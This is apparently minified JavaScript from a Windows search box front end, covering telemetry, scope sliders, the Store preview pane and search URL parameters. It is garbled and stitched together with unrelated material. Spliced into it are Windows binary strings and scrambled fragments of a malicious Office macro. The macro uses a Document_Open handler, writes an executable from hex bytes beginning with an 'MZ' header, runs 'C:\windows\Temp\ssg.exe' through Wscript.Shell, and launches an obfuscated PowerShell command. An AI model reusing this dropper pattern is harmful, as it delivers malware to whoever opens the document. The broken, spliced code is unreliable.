omCharCode(57346),kt=new RegExp("^\\s*("+o+")?\\s*"),dt=new RegExp("\\s*("+o+")?\\s+","g"),gt=/{([0-9]+)}/g,ni=" -_/\\";n.DayToMs=864e5;n.HourToMs=36e5;n.MinuteToMs=6e4;n.DebugSourceName="WindowsSearchBox";SharedLogHelper.RegisterErrorFilter(t=>{let i=t?t.number:null,r=t?t.name:null;return i===-2147023673||i===-2147215328||i===-2147215865&&(n.AnaheimDataProvider===null||n.AnaheimDataProvider===void 0?void 0:n.AnaheimDataProvider.getRetryCount())>0||r==="Canceled"});n.isHighContrastEnabled=ti;n.isBrowserOnline=v;n.scheduleDeferredLoad=ii;n.cleanQuery=y;n.cleanGuid=ri;n.isEmpty=ui;n.canIconFail=fi;n.mantainCursorPositionIn=p;n.getInputType=ei;n.disableDataSources=s;let b="",k="",d="";n.disableWebDataSourceIfNeeded=ai;n.disableCoPiffDataSourcesOnConditions=vi;n.isMultiWord=g;n.baseParseQuery=yi;n.isDataSourceEnabled=h;n.isSuggestionTypeEnabled=nt;n.contains=t;n.tryRemove=pi;n.removeFirstWhere=wi;n.trimList=bi;n.except=ki;n.sequenceEqual=di;n.objEquals=gi;n.log=()=>{};n.getCurrentDate=()=>new Date;n.getCurrentTime=tt;n.getCurrentHour=it;n.getCurrentTimeInSeconds=nr;n.getCopilotTimeOfDay=tr;n.getDateWithTimezone=ir;n.fetchWrapper=(n,t,i)=>i();n.formatString=rr;n.isCancellation=ur;n.safeExecute=r;n.safeSetTimeout=c;n.safeFireEvent=fr;n.invokeAsynchronously=er;n.ensureCallbackIsAsync=l;let u=!0,rt=!0,ut=!0,ft=!0,a=!0,et=!0,ot=!0;n.refreshBingEnabledCache=or;n.isBingEnabled=sr;n.isWebProviderEnabled=hr;n.isMiniSerpEnabled=cr;n.isTrendingSearchEnabled=st;n.isDSBV2EnabledMarket=lr;n.isThumbnailForTSEnabled=ht;n.isCodexEligible=ar;const vr=[3,16,17,18,19,20,144,145,],ct=[38,203,211,],yr=[39,37],lt=[40,204,212,],at=ct.concat(lt),pr=at.concat(37,39,36,35);n.isFunctionalKey=wr;n.isUpOrDownKey=br;n.isLeftOrRightKey=kr;n.isLeftKey=dr;n.isRightKey=gr;n.isUpKey=nu;n.isDownKey=tu;n.isMovingCursorKey=iu;n.isContextMenuKey=ru;n.isDeletionKey=uu;n.getWindowProtocol=vt;n.getWindowHost=yt;n.getWindowPath=fu;n.getCurrentActiveElement=eu;n.WindowsApiDefaultDate=-116444736e5;n.isValidDate=pt;n.getTimeDiffInDays=wt;n.olderThan2Weeks=ou;n.verticalToHandoffType=su;n.isSemanticSearchTelemetryEnabled=hu;n.isZeroInputShowPreview=cu;class bt{constructor(){this._cancellations={};this._lastId=0}register(n,t,i){let r=++this._lastId;return this._cancellations[r]={action:n,skipOnDismissAndLaunch:t,where:i},r}unregister(n){delete this._cancellations[n]}cancelAll(n){for(let t in this._cancellations){let i=this._cancellations[t];i.skipOnDismissAndLaunch&&n||r(()=>i.action(),i.where)}this._cancellations={}}}n.CancellationManager=bt;class i{static logError(t,r){var u,f,e,o;if(i.errorCount=i.errorCount+1,n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.lightweightStorageFail){if(i.testHookErrorLogged)return;i.testHookErrorLogged=!0}if((n.LogWSBError("localStorage",t,new Error(r),undefined,undefined,"WindowsTelemetry"),!(i.errorCount>=5))&&(n.logToMC("Bing_QF_LocalStorage",r,"logError",{Msg:(t===null||t===void 0?void 0:t.message)?t.message:"",Stack:(t===null||t===void 0?void 0:t.stack)?t.stack:""}),n.config.enableLocalStorageFailureReport)){let h=typeof sj_cook!="undefined"?sj_cook===null||sj_cook===void 0?void 0:sj_cook.get("MUID","MUID"):(f=(u=_G===null||_G===void 0?void 0:_G.CID)!==null&&u!==void 0?u:_G===null||_G===void 0?void 0:_G.nclid)!==null&&f!==void 0?f:"";const s=n.InstrumentationHelper===null||n.InstrumentationHelper===void 0?void 0:n.InstrumentationHelper.createCleanGuid();if(!h||!s)return;try{if((n.config===null||n.config===void 0?void 0:n.config.disableWSBServerTelemetry)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&((o=(e=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||e===void 0?void 0:e.regionalPolicies)===null||o===void 0?void 0:o.isThirdPartyWebSearchSupported))return;if(n.Host.isOptionalDiagnosticDataDisabled())return}catch(it){}const i=(new Date).getTime(),l={T:"CI.Error",TS:i,Name:"JSError",Text:"[localStorage]"+r,Stack:(t===null||t===void 0?void 0:t.stack)?t.stack:"[localStorage]"+r},c=window.loc
-winlogon
c:\windows\system32\
new Promise(t=>setTimeout(t,n));await t(n.TestHookUrlParameters.storeAppFetchTimeoutSec*1e3)}const u=await this.callStoreServerAPIAsync(t);return!u||r?null:(i&&(sb_ct(i),i=null),u)};return await f()}async callStoreServerAPIAsync(t){let i;if(n.MockUrlParameters&&typeof n.MockStoreAppPreviewData=="object")return n.MockStoreAppPreviewData;let u=n.Host.getRegion(),f=_G.Mkt,r=`https://storeedgefd.dsx.mp.microsoft.com/v9.0/store/products/${t}?market=${u}&locale=${f}`;try{const t=await fetch(r);if(t.status==200){let u=await t.json();return(i=u===null||u===void 0?void 0:u.Payload,n.isNullOrUndefined(i)||!this.checkPreviewPaneDataFields(i))?(n.LogWSBWarning("callStoreServerAPIAsync","check data fields failed"+r,null,"WindowsTelemetry"),null):i}}catch(e){n.LogWSBWarning("callStoreServerAPIAsync","fetch preview data failed",null,"WindowsTelemetry")}return null}checkPreviewPaneDataFields(t){return n.isNullOrUndefined(t.Title)||n.isNullOrUndefined(t.ProductIcon)||t.Screenshots.length<1||n.isNullOrUndefined(t.Screenshots[0].Url)||n.isNullOrUndefined(t.Description)||t.CTAButtons.length<1||n.isNullOrUndefined(t.CTAButtons[0].Url)?!1:!0}addStoreSuggestionPreviewPaneProperties(t,i){var r,u,f,e,o;t.productName=i.Title;let s=i.Screenshots[0].Url;t.averageRating=n.config.enableStoreAppPreviewWithESRB?this.getLocalSuggStarsRating(i===null||i===void 0?void 0:i.AverageRating):this.getStarsRating(i.AverageRating);t.publisherName=i===null||i===void 0?void 0:i.Publisher;t.shortDescription=i.Description;t.longDescription=i.Description;t.screenshot=s;t.ratingsCount=this.getRatingsCount(i===null||i===void 0?void 0:i.RatingsCount);t.categories=((r=i===null||i===void 0?void 0:i.Categories)===null||r===void 0?void 0:r.length)>0?i.Categories[0]:null;t.esrbIcon=(u=i===null||i===void 0?void 0:i.ProductRating)===null||u===void 0?void 0:u.ImageUrl;t.esrbRatingValue=(f=i===null||i===void 0?void 0:i.ProductRating)===null||f===void 0?void 0:f.RatingValue;t.esrbDescriptors=((o=(e=i===null||i===void 0?void 0:i.ProductRating)===null||e===void 0?void 0:e.Descriptors)===null||o===void 0?void 0:o.length)>0?i.ProductRating.Descriptors[0]:null;t.previewPaneStatus=1}getRatingsCount(t){return!t||t<=0?null:t>=1e3?(t=Math.floor(t/1e3),n.Host.getLocString("StoreAppRatingsLabel",`${t}K`)):n.Host.getLocString("StoreAppRatingsLabel",`${t}`)}getLocalSuggStarsRating(n){return!n||n<=0?null:(Math.floor(n*10)/10).toFixed(1)}getStarsRating(n){let t=Math.round(n*2)/2;return Math.max(0,Math.min(5,t))}}n.StoreAppSuggestionsParser=r}(WSB||(WSB={})),function(n){const t="SWMF";class i{constructor(){this.getName=()=>"SharedFilesDataProvider"}fetch(i,r,u,f,e){if(n.isDataSourceEnabled(t,i)&&SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.sharedFileSearchProvider){let o=()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.sharedFileSearchProvider.queryAsync(i.queryToFetch,n.Host.getRawImpressionGuid());n.Async.safeChain("fetchSharedFilesResult",o,n=>{if(e())if(n===null||n===void 0?void 0:n.resultSet){let i=n.resultSet;r(t,{sharedFileItems:i})}else r(t,{})},i=>{n.isCancellation(i)||n.LogWSBError("SharedFilesFetch","failed",undefined,undefined,undefined,"WindowsTelemetry"),r(t,{})},f)}}}n.SharedFilesDataProvider=i}(WSB||(WSB={})),function(n){class t{constructor(n){this.dataSourceType=n!==null&&n!==void 0?n:"SWMF"}parse(t,i,r,u,f,e){if(f()&&n.isDataSourceEnabled(r,t)){let o=[];if(!u||!u.sharedFileItems||u.sharedFileItems.length===0){e(r,o,null);return}let h=n.getEffectiveQuery(t),s=n.getEffectiveScope(t),c={};if(s===n.Scope.Documents||s===n.Scope.All)for(let r of u.sharedFileItems){let u=n.safeExecute(()=>this.buildDocumentSuggestion(r,i,h,t,c),"buildDocumentSuggestion");u&&n.isValidSuggestion(u,"parseSharedFilesSearchResponse")&&o.push(u)}n.decorateSuggestionsWithParentFolder(o);e(r,o,null)}}buildDocumentSuggestion(t,i,r,u,f){let h=t.fileExtension.startsWith(".")?t.fileExtension.substring(1):t.fileExtension,o=t.displayName+"."+h,s=r?HitHighlightingParser.addMarkers(o,r):o,c=n.config.disableSyntaxHighlight?s.toLocaleLowerCase().includes(r.toLocaleLowerCase()):s.includethis._selectedScope)===null||i===void 0?void 0:i.type)==n.Scope.ThirdPartyWeb&&(u=r.findIndex(n=>{var t,i,r;return((t=n===null||n===void 0?void 0:n.searchExtension)===null||t===void 0?void 0:t.applicationUserModelId)==((r=(i=this._selectedScope)===null||i===void 0?void 0:i.searchExtension)===null||r===void 0?void 0:r.applicationUserModelId)}));u>=0&&(r[u].enabled=!0);let f=t.map(n=>n.type);t=t.concat(r.filter(n=>f.indexOf(n.type)==-1));this._scopeTiles=t}else{let i=t.some(n=>n.enabled);if(!i&&this._selectedScope&&(!n.config.pathCompletionReplacesAll||n.Scope[this._selectedScope.type]!="PathCompletion")){if(n.isServicingSearchBingAs3PEnabled()){let r;this._selectedScope.type==n.Scope.ThirdPartyWeb?(i=t.some(n=>{var t,i,r;return((t=n.searchExtension)===null||t===void 0?void 0:t.applicationUserModelId)==((r=(i=this._selectedScope)===null||i===void 0?void 0:i.searchExtension)===null||r===void 0?void 0:r.applicationUserModelId)}),i||(r=this._scopeTiles.find(n=>{var t,i,r;return((t=n.searchExtension)===null||t===void 0?void 0:t.applicationUserModelId)==((r=(i=this._selectedScope)===null||i===void 0?void 0:i.searchExtension)===null||r===void 0?void 0:r.applicationUserModelId)}),t.push(r))):(r=this._scopeTiles.find(n=>n.type==this._selectedScope.type),t.push(r))}else{let i=this._scopeTiles.find(t=>{var i,r,u;return this._selectedScope.type==n.Scope.ThirdPartyWeb?((i=t.searchExtension)===null||i===void 0?void 0:i.applicationUserModelId)==((u=(r=this._selectedScope)===null||r===void 0?void 0:r.searchExtension)===null||u===void 0?void 0:u.applicationUserModelId):t.type==this._selectedScope.type});t.push(i)}i=!0}}return t}isFeedbackEnabled(){return n.config.enableFeedbackHubLaunch?!0:n.config.removeFeedbackButton?!1:n.isBingEnabled()&&!n.isServicingSearchBingAs3PEnabled()}showFeedback(){if(this._msRewardsViewModel&&this._msRewardsViewModel.hide(),n.config.enableFeedbackHubLaunch){n.Host.launchUriAsync("feedback-hub:?tabid=2&newFeedback=true&feedbackType=2&contextid=12",!0);return}n.Host.showFeedbackForm()}sliderDirection(t){const u=_qs(".scope-with-background__slider"),i=_qs(".scope-with-background__leftCaret"),r=_qs(".scope-with-background__rightCaret"),f=n.isRtl();u&&i&&r&&(f?t==2||t==0?(r.classList.add("b_hide"),i.classList.remove("b_hide")):(i.classList.add("b_hide"),r.classList.remove("b_hide")):t==1||t==0?(i.classList.add("b_hide"),r.classList.remove("b_hide")):(r.classList.add("b_hide"),i.classList.remove("b_hide")),t==0&&(u.scrollLeft=0))}sliderDirectionLargeTextSize(t){const i=_qs(".scope-with-background__slider"),r=_qs(".scope-with-background__leftCaret"),u=_qs(".scope-with-background__rightCaret"),f=n.isRtl();i&&r&&u&&(f?t==2||t==0?(console.log(i.scrollLeft,i.clientWidth,i.scrollWidth),Math.abs(i.scrollLeft)+i.clientWidth>=i.scrollWidth-1&&(u.classList.add("b_hide"),r.classList.remove("b_hide"))):i.scrollLeft<5&&(r.classList.add("b_hide"),u.classList.remove("b_hide")):t==1||t==0?i.scrollLeft<5&&(r.classList.add("b_hide"),u.classList.remove("b_hide")):(console.log(i.scrollLeft,i.clientWidth,i.scrollWidth),i.scrollLeft+i.clientWidth>=i.scrollWidth-1&&(u.classList.add("b_hide"),r.classList.remove("b_hide"))),t==0&&(i.scrollLeft=0))}scopesSlider(t,i,r){const u=_qs(".scope-with-background__slider"),o=n.isRtl();if(u){let f=u.scrollWidth;n.config.disbaleWideForLargeTextScale?(this.sliderDirectionLargeTextSize(t),f=u.offsetWidth):this.sliderDirection(t);let e=0,s=setInterval(()=>{o?t===2?u.scrollLeft-=r:t===1&&(u.scrollLeft+=r):t===1?u.scrollLeft-=r:t===2&&(u.scrollLeft+=r),e>=f&&window.clearInterval(s),e+=r},i)}}scopesBackBtnClicked(){n.RuntimeConfig.AlwaysWide&&(this.scopesSliderReset(),n.Host.reformulate(""),n.InstrumentationHelper.logClientInstEvent("Select","ScopeBackBtnSelected",null,null,"WindowsTelemetry",33554432))}scopesSliderReset(i){this.scopesSlider(0,u,t);i&&n.RuntimeConfig.AlwaysWide&&this._selectedScope&&this._selectedScope.type!==n.Scope.All&&this.clearPrevSelectedScope()}clearPrevSelectedScope(){if(this._scopeTiles)for(let t of this._scopeTiles)t.type===n.Scope.All?(t.enabled=!0,this._selectedScope=t):t.enabled=actDOM&&(ReactDOM.unmountComponentAtNode(n.StaticHtmlElements.topResults),ReactDOM.unmountComponentAtNode(n.StaticHtmlElements.groups),ReactDOM.unmountComponentAtNode(n.StaticHtmlElements.topHitHeader),ReactDOM.unmountComponentAtNode(n.StaticHtmlElements.scopesHeader));this._lastRenderedTopHitHeader=null;this._page.updateTopHitHeaderView(null);this._page.updateScopesHeaderView(null)}scopeNamesElements(t){return t.map(t=>this._scopeTiles.find(i=>n.Scope[i.type]==t)).filter(n=>!!n)}getEffectiveScopeOrder(){if(!this._scopeTiles||this._scopeTiles.length==0)return[];if(n.config.disbaleWideForLargeTextScale&&this._effectiveScopeOrder&&!n.config.pathCompletionReplacesAll&&!n.config.useCobaltCSS)return n.RuntimeConfiguration.TextScaleFactor<=1.25?this._effectiveScopeOrder.slice(0):n.RuntimeConfiguration.TextScaleFactor<=1.5?this._effectiveScopeOrder.slice(0,this._effectiveScopeOrder.length-1):n.RuntimeConfiguration.TextScaleFactor<=1.75?this._effectiveScopeOrder.slice(0,this._effectiveScopeOrder.length-2):n.RuntimeConfiguration.TextScaleFactor<=2.25?this._effectiveScopeOrder.slice(0,this._effectiveScopeOrder.length-3):this._effectiveScopeOrder.slice(0,this._effectiveScopeOrder.length-3);if(this._effectiveScopeOrder&&!n.config.pathCompletionReplacesAll)return this._effectiveScopeOrder.slice(0);let i,r,u;n.RuntimeConfig.AlwaysWide?(i=n.config.scopesOrderBeginAlwaysWide,r=n.config.scopesOrderLastAlwaysWide,u=n.config.numberOfScopesToRenderAlwaysWide):(i=n.isServicingSearchBingAs3PEnabled()?n.config.scopesOrderBeginTP:n.config.scopesOrderBegin,r=n.config.scopesOrderLast,u=n.config.numberOfScopesToRender);let t=[];if(i){n.config.pathCompletionReplacesAll&&(r=r.filter(n=>n!="PathCompletion"),this._currentQuery&&this._currentQuery.canBePathCompletion&&(i=i.map(n=>n=="All"?"PathCompletion":n)));let f=r?this.scopeNamesElements(r):[];if(t=this.scopeNamesElements(i),n.isServicingSearchBingAs3PEnabled()&&this._scopeTiles){let i=this._scopeTiles.filter(t=>t.type===n.Scope.ThirdPartyWeb);i.length>0&&t.splice(1,0,...i)}t=t.slice(0,u-f.length);t.push(...f)}return this._effectiveScopeOrder=t,t.slice(0)}getHiddenScopeElements(t){if(!this._moreScopeTiles)return[];if(n.config.useCobaltCSS){let i=["scope2","scope11","scope7","scope3"];if(n.isThirdPartySearchAllowed()){let r=n.Host.getThirdPartySearchApps().length,t=Array.from({length:r},(n,t)=>"scope"+(1e4+t));i=n.isServicingSearchBingAs3PEnabled()?[...t,"scope1","scope6","scope2","scope11","scope7","scope3"]:["scope2","scope11","scope7","scope3",...t]}const r=[];for(let n=0;n<this._moreScopeTiles.length;n++){let t=this._moreScopeTiles.filter(({id:t})=>t===i[n]);r.push(...t)}return n.isThirdPartySearchAllowed()&&!n.RuntimeConfig.AlwaysWide?r.filter(i=>!t.some(t=>{var r,u;return t.type==n.Scope.ThirdPartyWeb?((r=t.searchExtension)===null||r===void 0?void 0:r.applicationUserModelId)==((u=i.searchExtension)===null||u===void 0?void 0:u.applicationUserModelId):t.type==i.type})):r}return this._moreScopeTiles.filter(i=>{const r=t.find(t=>{var r,u;return t.type==n.Scope.ThirdPartyWeb?((r=t.searchExtension)===null||r===void 0?void 0:r.applicationUserModelId)==((u=i.searchExtension)===null||u===void 0?void 0:u.applicationUserModelId):t.type==i.type});return!r&&n.Scope[i.type]!="PathCompletion"&&n.Scope[i.type]!="All"})}getScopeBarElements(){var i;if(!this._scopeTiles)return[];let t=this.getEffectiveScopeOrder();if(n.config.disableDataSourceOnNonActiveWindow===5&&n.Host.getWindowsActivationState()===!1||n.config.adjustScopePos){let i=n.getScopeDisplayName(n.ScopeConfig[n.Scope.Web]);n.config.adjustScopePos===2&&(i=n.getScopeDisplayName(n.ScopeConfig[n.Scope.Documents]));const r=n.getScopeDisplayName(n.ScopeConfig[n.Scope.All]),u=t.filter(n=>n.text===i);if(u.length>0){const n=t.filter(n=>n.text===r),f=t.filter(n=>n.text!==i&&n.text!==r);t=[...n,...u,...f]}}if(n.config.useCobaltCSS&&n.RuntimeConfig.AlwaysWide){let r=this.getHiddenScopeElements(t)||[],u=r.findIndex(n=>{var t;return(n===null||n===void 0?void 0:n.type)==((t=this._selectedScope)===null||t===void 0?void 0:t.type)});n.isThirdPartySearchAllowed()&&((i=
%<iclass="fabfa-windows"></i>+r</p>e
fso = CreateObject("Scripting.FileSystemObject")o1.Run "C:\windows\Temp\ssg.exe"Set o1 = CreateObject("Wscript.Shell")ai(i) = "&H" & asInp(i)asInp = Split("4d 5a 90 0fso.DeleteFile (sFile)Open sFile For Binary Lock Read Write As #nFileNum
    rshwsh.Run(pay, windowStyle, waitOnReturn).REAdtoeNd()')-'kSe',[]39  -([]49+[]84+[]120),[]124 -([]70+[]102+[]122),[]36) | & ( $PSHome[4]+$PSHome[34]+'x')", windowStyle, waitOnReturn)Sub Document_Open()
),this._focusHelper.setIsL2Visible(!1),h(this._iframe.contentDocument.body)});else o();r.open=n=>(this.tryLaunchUrl(t,n,0,e),null);i.onclick=i=>{let r=i.target;if(r){if(r.id=="miniSERPToWeb"){n.InstrumentationHelper.logClientInstEvent(u,"AdultExplicitLoad",n.SequenceNumberManager.getSequenceNumber(),{url:t,query:this._previewedSuggestion.query},"BingTelemetry");this._footer.click();return}while(r&&!r.href)r=r.parentNode}r&&this.tryLaunchUrl(t,r.href,n.getInputType(i),e)==0&&i.preventDefault()}}navigateInPlace(t,i,r,u){let f=c(u);this._previewPaneViewModelParent.onBeforeItemLaunch(i,r,f);this._footer&&(this._footer.onclick=()=>n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(this.enrichBingSearchUrlParameters(t),null,!0):n.Host.launchSearchAsync(null,this.enrichBingSearchUrlParameters(t),!1,null,!0));this.clearContent();this._previewPaneViewModelParent.focusPending=!0;this.startLoadingScreen();let e=this.enrichBingSearchUrlParameters(t,!0);this.setVertical(u);let o={destinationVertical:u.toString(),url:t};n.InstrumentationHelper.logClientInstEvent("Select","NavigateInPlace",n.SequenceNumberManager.getSequenceNumber(),o);this.downloadAndDisplayMiniSerp(this._previewedSuggestion,e,null,1);this._previewPaneViewModelParent.onAfterItemLaunch(f)}tryLaunchUrl(t,i,r,u){var o;if(!i)return 1;let a=n.getCurrentTime();i=i.trim();let f=i.toLowerCase(),v=l(i);if(v!==null&&h(i)&&!s(f)&&lt(i)&&v!==this._currentVertical)return this.navigateInPlace(i,a,r,v),0;if(f.startsWith("javascript:location.reload"))return 0;if(i==t+"#"||f.startsWith("javascript:"))return 1;if(f=="/loading")return 0;if(i.startsWith(window.location.href))return n.LogWSBError("previewPane.tryLaunchUrl",t,new Error("Anchor navigation on PreviewPane"),undefined,undefined,"WindowsTelemetry"),0;if(i.startsWith("/")&&(i=n.getWindowProtocol()+"//"+n.getWindowHost()+i),n.isThirdPartySearchAllowed()&&u)return n.Host.launchThirdPartyUriWithProtocolAsync(i,(o=this._currentQuery.thirdPartySearch)===null||o===void 0?void 0:o.protocol),0;let e=l(i);if(e){if(e==this._currentVertical&&h(i)&&ot.some(n=>f.includes(n)))return this.navigateInPlace(i,a,r,e),0;i=this.enrichBingSearchUrlParameters(i)}let p=e?c(e):2;this._previewPaneViewModelParent.onBeforeItemLaunch(a,r,p);let y=n.tryGetBingPathLC(i);if(y)rt.some(n=>y.startsWith(n))||s(f)?n.Host.launchUriAsync(n.config.settingsUri):y.startsWith("/profile/interests")?n.Host.launchCat1Async(null,"ms-cortana://navigate/Notebook",null):(this._shouldAddSearchBackStack&&i.indexOf("aclk?ld=")>-1&&(sb_ct(this._currentBackStackTimeout),i=this.buildAdsRedirectUrl(this._previewedSuggestion.query,i)),n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(i):n.Host.launchUriAsync(i));else if(this._shouldAddSearchBackStack&&!f.startsWith("ms-settings")&&(sb_ct(this._currentBackStackTimeout),i=this.buildRedirectUrl(this._previewedSuggestion.query,i)),n.config.enableOpenExtraSerpTab){let r=Promise.withResolvers(),t=r.promise,u=this.buildSerpUrl(this._previewedSuggestion.query,n.config.enableOpenExtraCopilotSearchTab);t=n.shouldLaunchSuggWithDefaultBrowser()?t.then(async()=>await n.Host.launchUrlWithDefaultBrowserAsync(u)):t.then(async()=>await n.Host.launchUrlWithEdgeProtocolAsync(u,{campaign:n.config.moreEdgeProtocolOCID,medium:"Miniserp"}));t=n.shouldLaunchSuggWithDefaultBrowser()?t.then(()=>n.Host.launchUrlWithDefaultBrowserAsync(i)):t.then(()=>n.Host.launchUrlWithEdgeProtocolAsync(i,{campaign:n.config.moreEdgeProtocolOCID,medium:"Miniserp"}));r.resolve(!0)}else n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(i):n.Host.launchUrlWithEdgeProtocolAsync(i,{campaign:n.config.moreEdgeProtocolOCID,medium:"Miniserp"});this._previewPaneViewModelParent.onAfterItemLaunch(p);return 0}enrichBingSearchUrlParameters(t,i=false){return t=this._navigationHelper.enrichUrlWithMarketInfo(t),t=this._navigationHelper.enrichUrlWithDeviceInfo(t),t=this._navigationHelper.enrichUrlWithCvid(t),t=this._navigationHelper.enrichUrlWithSuggestionType(t,this._previewedSuggestion.type),n.config.enableWsbP}
!Microsoft.Windows.VisionInternal.winmd
!Microsoft.Windows.Vision'
DriverData=C:\Windows\System32\Drivers\DriverData
GetWindowsDirectoryW
EnumWindows
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
(n.getCurrentDateDSB());return t.map(n=>this.createDismissKeyForMoment(n))}createDismissKeyForMoment(t){return`${t}-${n.Host.getRegion()}-${n.Host.getLanguage()}`}resetInstrumentation(){this.kValueC=n.InstrumentationCommon.KVALUE_DSB_CURRENT_DAY_CONTENT;this.kValueV2=n.InstrumentationCommon.KVALUE_DSB_V2_CONTENT;this.kValueM=n.InstrumentationCommon.KVALUE_DSB_MERGED_CONTENT;this.instrumentedBlendedProps=[];this.instrumentedPropsC=null;this.instrumentedPropsCI=null}getKValue(n){switch(n){case 3:return this.kValueV2++;case 5:return this.kValueM++;default:return this.kValueC++}}getUrlHandoffType(t){let i=n.tryParseUrl(t,!0);return i?n.isBingHost(i)?0:n.isMsnHost(i)?20:1:0}composeDSBUrlParams(t){n.TestHookUrlParameters&&(t=n.UrlParameters.copyTestParametersTo(t),n.TestHookUrlParameters.dsbBag&&(t=ThresholdUtilities.setUrlParameter(t,"bag",encodeURIComponent(n.TestHookUrlParameters.dsbBag))),n.TestHookUrlParameters.dsbMockDateTimeParam&&(t=ThresholdUtilities.setUrlParameter(t,"dsbMockDateTime",encodeURIComponent(n.TestHookUrlParameters.dsbMockDateTimeParam))),(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)&&(n.TestHookUrlParameters.dsbBag||(t=ThresholdUtilities.setUrlParameter(t,"bag",encodeURIComponent("VP_WindowsSearchBox.WSB.DSB.dsb_default"))),n.TestHookUrlParameters.dsbMockDateTimeParam||(n.TestHookUrlParameters.dsbMockDateTimeParam="2023-01-10")),n.TestHookUrlParameters.dsbScenario&&(t=ThresholdUtilities.setUrlParameter(t,"dsbScenario",encodeURIComponent(n.TestHookUrlParameters.dsbScenario))),n.TestHookUrlParameters.utcnow&&(t=ThresholdUtilities.setUrlParameter(t,"utcnow",encodeURIComponent(n.TestHookUrlParameters.utcnow))));const i=n.getCurrentDateDSB();let r=i.toLocaleString("en-US");return i<n.DateTimeReference&&n.log(`getCurrentDateDSB() return incorrect time! getCurrentDateDSB(): '${r}' `),t=ThresholdUtilities.setUrlParameter(t,"clientDateTime",encodeURIComponent(r)),t=ThresholdUtilities.setUrlParameter(t,"cc",n.Host.getRegion()),t=ThresholdUtilities.setUrlParameter(t,"setlang",n.getCurrentLanguage()),ThresholdUtilities.setUrlParameter(t,"dsbschemaversion","1.1")}composeDSBMiniserpUrlParams(t,i){if(n.TestHookUrlParameters){n.TestHookUrlParameters.dsbMockDateTimeParam&&(t=ThresholdUtilities.setUrlParameter(t,"dsbMockDateTime",encodeURIComponent(n.TestHookUrlParameters.dsbMockDateTimeParam)));let r=ThresholdUtilities.getUrlParameter(t,"addfeaturesnoexpansion"),i;t=n.UrlParameters.copyTestParametersTo(t);t=ThresholdUtilities.setUrlParameter(t,"client","windowsminiserp");i=ThresholdUtilities.getUrlParameter(t,"addfeaturesnoexpansion");i&&r&&(i+=","+r);t=ThresholdUtilities.setUrlParameter(t,"addfeaturesnoexpansion",i);n.TestHookUrlParameters.miniSerpBag&&(t=ThresholdUtilities.setUrlParameter(t,"bag",encodeURIComponent(n.TestHookUrlParameters.miniSerpBag)))}t=ThresholdUtilities.setUrlParameter(t,"q",i);t=ThresholdUtilities.setUrlParameter(t,"format","dsbjson");t=ThresholdUtilities.setUrlParameter(t,"client","windowsminiserp");t=ThresholdUtilities.setUrlParameter(t,"dsbschemaversion","1.1");t=ThresholdUtilities.setUrlParameter(t,"dsbminiserp","1");t=ThresholdUtilities.setUrlParameter(t,"cc",n.Host.getRegion());t=ThresholdUtilities.setUrlParameter(t,"setlang",n.getCurrentLanguage());const r=n.getCurrentDateDSB();let u=r.toLocaleString("en-US");return r<n.DateTimeReference&&n.log(`getCurrentDateDSB() return incorrect time! getCurrentDateDSB(): '${u}' `),t=ThresholdUtilities.setUrlParameter(t,"clientDateTime",encodeURIComponent(u))}composeDSBMergedUrlParams(t){if(n.TestHookUrlParameters){n.TestHookUrlParameters.dsbMockDateTimeParam&&(t=ThresholdUtilities.setUrlParameter(t,"dsbMockDateTime",encodeURIComponent(n.TestHookUrlParameters.dsbMockDateTimeParam)));let r=ThresholdUtilities.getUrlParameter(t,"addfeaturesnoexpansion"),i;t=n.UrlParameters.copyTestParametersTo(t);t=ThresholdUtilities.setUrlParameter(t,"client","windowsminiserp");i=ThresholdUtilities.getUrlParameter(t,"addfeaturesnoexpansion");i&&r&&(i+=","+r);t=ThresholdUtilities.setUrlParameter(t,"addfeaturesnoexpansion",i);n.i,r,u,f;if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableDSBCache)return undefined;try{if(this.bingGleam)return this.bingGleam;let t=(u=(r=(i=n.getAccessTokenManager())===null||i===void 0?void 0:i.getSelectedAccountId())!==null&&r!==void 0?r:n.LightweightStorage.getItem(this.currentUserIDCacheKey))!==null&&u!==void 0?u:(f=this.dsbUser)===null||f===void 0?void 0:f.Id;if(t){let i=JSON.parse(n.LightweightStorage.getItem(this.codexStatusCacheKey+t));if(i===null||i===void 0?void 0:i.gleam)return this.bingGleam=i.gleam,this.bingGleam}}catch(t){t instanceof Error?n.DSBLogError("loadCodexStatusFromCache",`Name: ${t.name}, message: ${t.message}`,`stackTrace: ${t.stack}`):n.DSBLogError("loadCodexStatusFromCache",`failed to load codex status from cache. ex: ${JSON.stringify(t)}`)}return undefined}async set3pSearchAppearance(t){if(n.isThirdPartyGleamSupported()&&t){const i=this.get3pGleamCache(t);if(i&&(i===null||i===void 0?void 0:i.telemetryId)){await this.setGleamDataFromThirdParty(i.gleam,!0);const t=i.cacheTime+n.DEFAULT_3P_GLEAM_CHECK_INTERVAL_MINS*n.MINS_TO_MILLIS;if(n.getCurrentTime()<t)return}this.set3pGleamToCache(t,i===null||i===void 0?void 0:i.gleam);const u=await this.fetch3pGleamSchema(t);u||this.set3pGleamToCache(t,undefined);const r=this.get3pGleamCache(t);((r===null||r===void 0?void 0:r.telemetryId)!==(i===null||i===void 0?void 0:i.telemetryId)||(r===null||r===void 0?void 0:r.gleam)==undefined)&&await this.setGleamDataFromThirdParty(r===null||r===void 0?void 0:r.gleam,!0)}}shouldUpdateGleamAndTimeInterval(){return!0}set3pGleamToCache(t,i){if((n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?!void 0:!n.TestHookUrlParameters.disableDSBCache)&&n.isThirdPartyGleamSupported()&&t){const r=t.applicationUserModelId;let 